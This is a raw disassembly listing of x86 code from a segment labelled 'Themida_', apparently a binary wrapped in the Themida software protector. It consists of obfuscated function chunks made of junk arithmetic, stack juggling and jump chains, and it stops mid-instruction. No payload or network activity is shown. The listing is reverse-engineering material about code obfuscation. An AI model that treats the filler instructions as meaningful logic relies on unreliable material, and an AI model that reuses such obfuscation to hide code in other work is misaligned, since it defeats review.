; START OF FUNCTION CHUNK FOR sub_56A7FB loc_5674F7: ; CODE XREF: sub_56A7FB+A7A5j mov ch, 6Dh jmp loc_56CD5B ; END OF FUNCTION CHUNK FOR sub_56A7FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561F05 loc_5674FE: ; CODE XREF: sub_561F05-18Bj mov [esp+8+var_8], ebx push ecx push ebx mov ebx, 30164DF5h mov ecx, ebx pop ebx jmp loc_56F0B9 ; END OF FUNCTION CHUNK FOR sub_561F05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5605BC loc_567510: ; CODE XREF: sub_5605BC+EF1Dj pop edi xor edx, [esp+24h+var_24] xor [esp+24h+var_24], edx jmp loc_56B0C6 ; END OF FUNCTION CHUNK FOR sub_5605BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5722C8 loc_56751C: ; CODE XREF: sub_5722C8-4DC0j mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp+4+var_4] mov esp, [esp+4+var_4] mov [esp+4+var_4], edi push dword ptr [esp+4] push [esp+8+var_8] pop edi add esp, 4 pop [esp+4+var_4] mov esp, [esp+0] jmp loc_569270 ; END OF FUNCTION CHUNK FOR sub_5722C8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA15 loc_56754C: ; CODE XREF: sub_56FA15-4740j mov cl, 76h jmp loc_574E4D ; END OF FUNCTION CHUNK FOR sub_56FA15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57236D loc_567553: ; CODE XREF: sub_57236D-C50j pop esi sub eax, 4 xchg eax, [esp+8+var_8] mov esp, [esp+8+var_8] mov [esp-4+arg_0], ecx push esp push dword ptr [esp+0] mov ecx, [esp+4+var_4] push esi mov esi, esp add esi, 4 jmp loc_56CAB6 ; END OF FUNCTION CHUNK FOR sub_57236D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57549C loc_567577: ; CODE XREF: sub_57549C-665Bj mov [esp+0Ch+var_C], edx mov edx, 0E5C0EB8h jmp loc_5623E7 ; END OF FUNCTION CHUNK FOR sub_57549C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567D31 loc_567584: ; CODE XREF: sub_567D31+4BCCj pop ecx not esi inc esi add esi, 36AD43A8h add ecx, esi pop esi push esi push ebx jmp loc_563238 ; END OF FUNCTION CHUNK FOR sub_567D31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_567598: ; CODE XREF: sub_574656-C8AAj add ebx, ebp pop ebp sub esp, 4 mov [esp+4+var_4], ebx push dword ptr [esp+4] pop ebx pop [esp+4+var_4] pop esp push 4307h mov [esp+0], edi push ecx push 11086C2Fh mov ecx, [esp+8+var_8] sub esp, 4 mov [esp+0Ch+var_C], esi jmp loc_5640F7 ; END OF FUNCTION CHUNK FOR sub_574656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C3E2 loc_5675C6: ; CODE XREF: sub_56C3E2-4488j push edx push edi push 42AA7B7Fh pop edi add edi, 2F087DC3h not edi inc edi xor edi, 87AB5905h jmp loc_564078 ; END OF FUNCTION CHUNK FOR sub_56C3E2 ; --------------------------------------------------------------------------- loc_5675E2: ; CODE XREF: Themida_:0056C5D0j pop eax add [esp+4], ebx mov ebx, [esp] jmp loc_568D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_5675EF: ; CODE XREF: sub_574304-E50j add esp, 4 push edx jmp loc_56DE58 ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574A21 loc_5675FB: ; CODE XREF: sub_574A21-3EEAj push 6E3802A3h pop eax dec eax push ebx mov ebx, 124C21FCh jmp loc_56891A ; END OF FUNCTION CHUNK FOR sub_574A21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560844 loc_56760D: ; CODE XREF: sub_560844+4BF5j push edx mov edx, 1E3D6924h push esi jmp loc_56E5A4 ; END OF FUNCTION CHUNK FOR sub_560844 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5606E3 loc_567619: ; CODE XREF: sub_5606E3+1j mov ebp, 0E7123ECh dec ebp and ebp, 7EFE43ABh jmp loc_560525 ; END OF FUNCTION CHUNK FOR sub_5606E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5683C0 loc_56762A: ; CODE XREF: sub_5683C0+Aj pop edx push esi push 4 jmp loc_562BB0 ; END OF FUNCTION CHUNK FOR sub_5683C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56651E loc_567636: ; CODE XREF: sub_56651E+CFD8j shl ebp, 2 push edx mov edx, 5430DECh sub ebp, edx jmp loc_5691AB ; END OF FUNCTION CHUNK FOR sub_56651E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D4B8 loc_567646: ; CODE XREF: sub_56D4B8+2Dj mov edi, 40DF3D39h or edi, 50C97F5Bh shl edi, 5 shr edi, 1 shl edi, 6 jmp loc_56656B ; END OF FUNCTION CHUNK FOR sub_56D4B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CD13 loc_56765E: ; CODE XREF: sub_56CD13+2A49j mov edx, 4 add eax, 1C1834E6h add eax, edx sub eax, 1C1834E6h pop edx xchg eax, [esp+8+var_8] pop esp push 5E12h mov [esp+8+var_8], eax push ebp mov ebp, esp add ebp, 4 jmp loc_56A00F ; END OF FUNCTION CHUNK FOR sub_56CD13 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570B3C loc_56768A: ; CODE XREF: sub_570B3C-4D1j pop esi sub ebx, eax jmp loc_569099 ; END OF FUNCTION CHUNK FOR sub_570B3C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5750DE loc_567692: ; CODE XREF: sub_5750DE+20j add ebp, edi sub ebp, 276D3581h pop edi mov ecx, ebp pop ebp sub eax, ecx jmp loc_5704CA ; END OF FUNCTION CHUNK FOR sub_5750DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568CD2 loc_5676A5: ; CODE XREF: sub_568CD2+8997j mov [esp+0], eax jmp loc_561618 ; END OF FUNCTION CHUNK FOR sub_568CD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FCD7 loc_5676AD: ; CODE XREF: sub_56FCD7-6DBBj add edx, edi jmp loc_567BA7 ; END OF FUNCTION CHUNK FOR sub_56FCD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56657A loc_5676B4: ; CODE XREF: sub_56657A-3378j mov ecx, 728E2045h sub edx, 342D238Fh sub edx, ecx add edx, 342D238Fh push [esp+8+var_8] pop ecx add esp, 4 add edx, 0CF9E9B08h jmp loc_56A2C3 ; END OF FUNCTION CHUNK FOR sub_56657A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56628B loc_5676D9: ; CODE XREF: sub_56628B+80BEj mov edi, ebp pop ebp push edi jmp loc_571221 ; END OF FUNCTION CHUNK FOR sub_56628B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_5676E2: ; CODE XREF: sub_574656-1233j pop eax push 3DE9h mov [esp+0Ch+var_C], edi push edx push 78F679DDh pop edx neg edx add edx, 571C1D0Eh jmp loc_565290 ; END OF FUNCTION CHUNK FOR sub_574656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569A75 loc_5676FF: ; CODE XREF: sub_569A75+8107j add esp, 2 push edx mov dh, 0F8h add dh, 1 sub dh, 9Eh jmp loc_56939A ; END OF FUNCTION CHUNK FOR sub_569A75 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D359 loc_567710: ; CODE XREF: sub_56D359-BC1Fj add esp, 4 add [esp+10h+var_C], 6A99708Ch pop edx mov eax, [esp+0Ch+var_C] jmp loc_56FC5D ; END OF FUNCTION CHUNK FOR sub_56D359 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560056 loc_567724: ; CODE XREF: sub_560056+9AEj sub esi, 5E357C1Eh sub esp, 4 mov [esp+8+var_8], edx push esi mov edx, [esp+0Ch+var_C] push ebx mov ebx, esp jmp loc_573FEC ; END OF FUNCTION CHUNK FOR sub_560056 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5754DA loc_56773F: ; CODE XREF: sub_5754DA-B2AFj add al, ch jmp loc_56460C ; END OF FUNCTION CHUNK FOR sub_5754DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56657A loc_567746: ; CODE XREF: sub_56657A+17j mov ebp, [esp+8+var_8] add esp, 4 push ebx sub esp, 4 jmp loc_5669CE ; END OF FUNCTION CHUNK FOR sub_56657A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5753A5 loc_567758: ; CODE XREF: sub_5753A5-11D90j add edx, 4 push esi push edx mov edx, 36506F58h jmp sub_56DD54 ; END OF FUNCTION CHUNK FOR sub_5753A5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_56776A: ; CODE XREF: sub_574656-9C7Dj mov [esp+0], ecx mov ecx, esp push esi mov esi, 195807E3h shl esi, 5 jmp loc_56E0A5 ; END OF FUNCTION CHUNK FOR sub_574656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56102D loc_56777D: ; CODE XREF: sub_56102D+1B65j pop ebp pop dword ptr [esp+0] jmp loc_5700E2 ; END OF FUNCTION CHUNK FOR sub_56102D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB51 loc_567786: ; CODE XREF: sub_56AB51+5CC8j xor ecx, edx pop edx sub eax, ecx mov ecx, [esp+10h+var_10] add esp, 4 sub eax, 437E0382h sub eax, esi add eax, 437E0382h push edx jmp loc_575361 ; END OF FUNCTION CHUNK FOR sub_56AB51 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56102D loc_5677A6: ; CODE XREF: sub_56102D+C615j pop edi jmp loc_56229B ; END OF FUNCTION CHUNK FOR sub_56102D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_5677AC: ; CODE XREF: sub_5678CB+556Aj push edx mov edx, 568906FEh jmp loc_5634A8 ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E126 loc_5677B7: ; CODE XREF: sub_56E126+47C6j shl ebx, 5 push eax jmp loc_5735A0 ; END OF FUNCTION CHUNK FOR sub_56E126 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57549C loc_5677C0: ; CODE XREF: sub_57549C-11132j add eax, edi pop edi pop edi sub eax, 24537A5Ch push 2FA3h mov [esp+8+var_8], ebp mov ebp, 1DFC48E7h and ebp, 25A56EE6h add ebp, 0BED7992h jmp loc_5685E2 ; END OF FUNCTION CHUNK FOR sub_57549C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563DCB loc_5677E7: ; CODE XREF: sub_563DCB-E66j add esp, 4 add al, dh mov dx, word ptr [esp-8+arg_4] add esp, 2 sub esp, 4 mov [esp-8+arg_4], ecx mov cl, 6 jmp loc_5702BB ; END OF FUNCTION CHUNK FOR sub_563DCB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561541 loc_567806: ; CODE XREF: sub_561541+C6CFj add esi, 3FBA17CAh push eax jmp loc_5722B0 ; END OF FUNCTION CHUNK FOR sub_561541 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_567812: ; CODE XREF: sub_574656-BA2Cj add esp, 4 or edi, 35323FC7h xor edi, 35737FCBh add ebx, 6BE70014h add ebx, edi jmp loc_56D060 ; END OF FUNCTION CHUNK FOR sub_574656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5713A7 loc_56782E: ; CODE XREF: sub_5713A7-6CC1j not ebx inc ebx not ebx jmp loc_562CAE ; END OF FUNCTION CHUNK FOR sub_5713A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_567838: ; CODE XREF: sub_5678CB+AD99j not dh and dh, 0AAh sub dh, 0FAh sub ch, dh pop edx pop eax push dx jmp loc_572BB8 ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5726BB loc_56784B: ; CODE XREF: sub_5726BB+9j add ebx, 4 xchg ebx, [esp+4+var_4] jmp loc_57103F ; END OF FUNCTION CHUNK FOR sub_5726BB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5605BC loc_567856: ; CODE XREF: sub_5605BC+44F2j xor esi, edx pop edx jmp loc_567B75 ; END OF FUNCTION CHUNK FOR sub_5605BC ; --------------------------------------------------------------------------- loc_56785E: ; CODE XREF: Themida_:00571B66j xchg edi, [esp] jmp loc_56C80B ; =============== S U B R O U T I N E ======================================= sub_567866 proc near ; DATA XREF: Themida_:0055FE9Co var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056276F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00563A59 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005646E4 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00565BDF SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056B8FB SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056DED5 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00571322 SIZE 0000004C BYTES push dword ptr [esp+0] pop eax jmp loc_571322 sub_567866 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56102D loc_56786F: ; CODE XREF: sub_56102D+127Dj add esi, 4 xchg esi, [esp+0] pop esp jmp loc_56F156 ; END OF FUNCTION CHUNK FOR sub_56102D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561826 loc_56787E: ; CODE XREF: sub_561826+15j xchg ax, cx xchg ax, bx push bp push small 322h jmp loc_56FE5F ; END OF FUNCTION CHUNK FOR sub_561826 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_56788D: ; CODE XREF: sub_57354D-DE8Fj mov ebp, 2B3777Ah or esi, ebp jmp loc_560F4A ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_575315 loc_567899: ; CODE XREF: sub_575315-8027j add ebx, 59517FC3h jmp loc_57279F ; END OF FUNCTION CHUNK FOR sub_575315 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574287 loc_5678A4: ; CODE XREF: sub_574287-53EDj pop ebp push ecx push edx mov edx, 4 mov ecx, edx pop edx add ebp, ecx pop ecx push eax mov eax, esp jmp loc_567E31 ; END OF FUNCTION CHUNK FOR sub_574287 ; --------------------------------------------------------------------------- loc_5678BA: ; CODE XREF: Themida_:0056FE7Aj mov eax, 220833B5h xchg eax, ebx not ebx xchg eax, ebx shl eax, 7 jmp loc_563E0B ; =============== S U B R O U T I N E ======================================= sub_5678CB proc near ; CODE XREF: sub_574229-13160j var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00560197 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00560307 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005603A4 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 005606E9 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00560ED3 SIZE 00000030 BYTES ; FUNCTION CHUNK AT 0056157F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00561A2B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00562CE9 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00562D30 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056309C SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005634A8 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00563E19 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005657E4 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00565DF8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005668F4 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00566D2A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00566E1F SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056747C SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005677AC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00567838 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00567C91 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005681BD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005682C8 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005685EC SIZE 00000036 BYTES ; FUNCTION CHUNK AT 00569568 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056985F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00569D40 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056A05A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056A46B SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0056A913 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056AFA0 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056B1C8 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056B5D0 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056BC6F SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056CE33 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056D3F0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056E597 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056EA81 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0056FC02 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0056FF79 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005703E6 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 00570F8D SIZE 0000002A BYTES ; FUNCTION CHUNK AT 0057136E SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00571875 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00571A0D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00571CF1 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00571D99 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0057252D SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0057265C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00572BB8 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00572C0F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00573569 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0057387C SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00573CC3 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005743A7 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00574727 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005747E2 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00574B21 SIZE 0000002F BYTES ; FUNCTION CHUNK AT 00574D5D SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00574FD2 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005751A3 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005753B6 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0057548D SIZE 0000000F BYTES sub esp, 4 mov [esp+4+var_4], ecx mov ch, 38h add ch, 0FFh not ch inc ch push 6C79h mov [esp+8+var_A+2], ebx mov bh, ch push ax mov al, bh not al push 69CAh jmp loc_56A913 sub_5678CB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_5678F4: ; CODE XREF: sub_561027+127BFj pop esp shr eax, 0Ah xor eax, ecx push eax push esp pop eax push 594Bh mov [esp+18h+var_18], edi jmp loc_5713DE ; END OF FUNCTION CHUNK FOR sub_561027 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574503 loc_56790A: ; CODE XREF: sub_574503-88F0j mov [esp+4+var_4], ebx push edi mov edi, 4 mov ebx, edi jmp loc_56D138 ; END OF FUNCTION CHUNK FOR sub_574503 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_56791A: ; CODE XREF: sub_561418-72Cj or edx, ebp pop ebp dec edx inc edx jmp loc_56EBBE ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574CDD loc_567924: ; CODE XREF: sub_574CDD-6EBDj and esi, 2AAF3732h push ecx mov ecx, 0F2664EBh push 3491h mov [esp+8+var_8], edi push eax push 6FD371FDh pop eax dec eax xor eax, 2A4750E6h shl eax, 5 xor eax, 0FA8B67D6h jmp loc_5656D9 ; END OF FUNCTION CHUNK FOR sub_574CDD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5666C3 loc_567952: ; CODE XREF: sub_5666C3+EA59j dec ebp dec ebp xor ebp, 5F30553Ah add eax, 2F911C0Dh sub eax, 292A3717h push 431Eh mov [esp+0], ebx push 78EB7961h pop ebx sub eax, ebx pop ebx push ecx mov ecx, 3EAA110Ah shl ecx, 3 or ecx, 68CF3252h add ecx, 1B4416A7h jmp loc_574BCA ; END OF FUNCTION CHUNK FOR sub_5666C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5643EB loc_56798F: ; CODE XREF: sub_5643EB+69ABj push edx jmp loc_56177A ; END OF FUNCTION CHUNK FOR sub_5643EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569AB3 loc_567995: ; CODE XREF: sub_569AB3+73A0j push [esp+4+var_4] pop edx push edi jmp loc_5746E1 ; END OF FUNCTION CHUNK FOR sub_569AB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B06D loc_56799F: ; CODE XREF: sub_56B06D+267Bj sub eax, 0E397C8Bh sub eax, 3FBECA0Fh sub edx, eax mov eax, [esp+18h+var_18] jmp loc_56D606 ; END OF FUNCTION CHUNK FOR sub_56B06D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569193 loc_5679B3: ; CODE XREF: sub_569193+5B1Bj mov ecx, esp add ecx, 4 sub esp, 4 jmp loc_566B71 ; END OF FUNCTION CHUNK FOR sub_569193 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57146D loc_5679C6: ; CODE XREF: sub_57146D+8j mov [esp+0], ebx push edx mov dl, 92h mov bh, 0C0h add bh, 0A9h jmp loc_5707A4 ; END OF FUNCTION CHUNK FOR sub_57146D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560EA2 loc_5679D6: ; CODE XREF: sub_560EA2+11j add esp, 4 sub eax, 57DC0C1Eh add eax, ebx jmp loc_568206 ; END OF FUNCTION CHUNK FOR sub_560EA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_5679E8: ; CODE XREF: sub_57354D+120Dj shr edx, 4 jmp loc_561FF0 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56666D loc_5679F0: ; CODE XREF: sub_56666D+EADEj push [esp+10h+var_10] jmp loc_5610B4 ; END OF FUNCTION CHUNK FOR sub_56666D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568E5C loc_5679F8: ; CODE XREF: sub_568E5C-3101j add eax, ecx jmp loc_56B5E0 ; END OF FUNCTION CHUNK FOR sub_568E5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_5679FF: ; CODE XREF: sub_5685B2-4615j dec ebx inc ebx push edx mov edx, 718D10F2h push esi push edx push eax jmp loc_560742 ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570E81 loc_567A0F: ; CODE XREF: sub_570E81+F42j sub [esp+4+arg_0], edx jmp loc_56E3A9 ; END OF FUNCTION CHUNK FOR sub_570E81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_567A18: ; CODE XREF: sub_561418+6E75j mov [esp+0], edx mov edx, 7F95C501h xor ebx, edx jmp loc_572023 ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- loc_567A27: ; CODE XREF: Themida_:00565420j push ebx push 0 pop ebx jmp loc_563DC1 ; --------------------------------------------------------------------------- loc_567A33: ; CODE XREF: Themida_:00570EA2j add ebp, 4 add ebp, 2 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] imul cx, ax push cx pushf jmp loc_55FF9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572669 loc_567A54: ; CODE XREF: sub_572669-39EEj pop eax jmp loc_561B33 ; END OF FUNCTION CHUNK FOR sub_572669 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566DFE loc_567A5A: ; CODE XREF: sub_566DFE+5B0j xchg eax, esi not esi xchg eax, esi not eax xor eax, 5D0BA182h push ebp sub esp, 4 mov [esp+8+var_8], eax mov ebp, [esp+8+var_8] add esp, 4 mov esi, ebp mov ebp, [esp+4+var_4] jmp loc_5746BE ; END OF FUNCTION CHUNK FOR sub_566DFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_567A7F: ; CODE XREF: sub_574304-193Fj dec ebp add ebp, 39277D7h jmp loc_56A69D ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_567A8B: ; CODE XREF: sub_56616D+4DCDj pop ebx xor esi, 0CF6D5438h mov ecx, esi pop esi push ebp push 4B5E6DD2h pop ebp and ebp, 56916F1Eh sub ebp, 5684408Bh jmp loc_573CAF ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA15 loc_567AAD: ; CODE XREF: sub_56FA15-8F45j sub al, 37h sub al, 0D8h push ecx mov ch, 95h jmp loc_56E513 ; END OF FUNCTION CHUNK FOR sub_56FA15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572141 loc_567AB9: ; CODE XREF: sub_572141-56C1j push edx push 56626DCFh pop edx or edx, 495B3A01h sub edx, 443C7C9Ch mov esi, edx pop edx jmp loc_56247E ; END OF FUNCTION CHUNK FOR sub_572141 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B310 loc_567AD4: ; CODE XREF: sub_56B310+99A9j xor eax, 5B7D6597h add edi, 3F532929h add edi, eax sub edi, 3F532929h push dword ptr [esp+0] mov eax, [esp+4+var_4] add esp, 4 add esp, 4 jmp loc_566E06 ; END OF FUNCTION CHUNK FOR sub_56B310 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574FC9 loc_567AFB: ; CODE XREF: sub_574FC9-78AEj mov [esp+8+var_8], edx push ebx push 46EB3F1Eh mov ebx, [esp+10h+var_10] add esp, 4 shr ebx, 5 neg ebx jmp loc_570EAE ; END OF FUNCTION CHUNK FOR sub_574FC9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568646 loc_567B14: ; CODE XREF: sub_568646+Dj push ecx jmp loc_562043 ; END OF FUNCTION CHUNK FOR sub_568646 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572E16 loc_567B1A: ; CODE XREF: sub_572E16-3518j xor edi, [esp+8+var_8] pop esp sub esp, 4 mov [esp+8+var_8], ebx jmp loc_571254 ; END OF FUNCTION CHUNK FOR sub_572E16 ; =============== S U B R O U T I N E ======================================= sub_567B29 proc near ; CODE XREF: sub_56616D+70A1j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00563AD9 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00567426 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00567D42 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056A07E SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056B2DA SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0056D9FC SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056E44D SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056F8BC SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056FDBF SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0057072C SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005722BB SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0057321C SIZE 00000036 BYTES ; FUNCTION CHUNK AT 005736C7 SIZE 0000001B BYTES push ebx jmp loc_56E44D sub_567B29 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574A21 loc_567B2F: ; CODE XREF: sub_574A21-C666j mov edi, ebp pop ebp xor esi, edi pop edi and ecx, esi pop esi and ecx, 4ACC5E4Fh sub ecx, 0FCF1A761h add ebx, 76A64AC7h add ebx, ecx sub ebx, 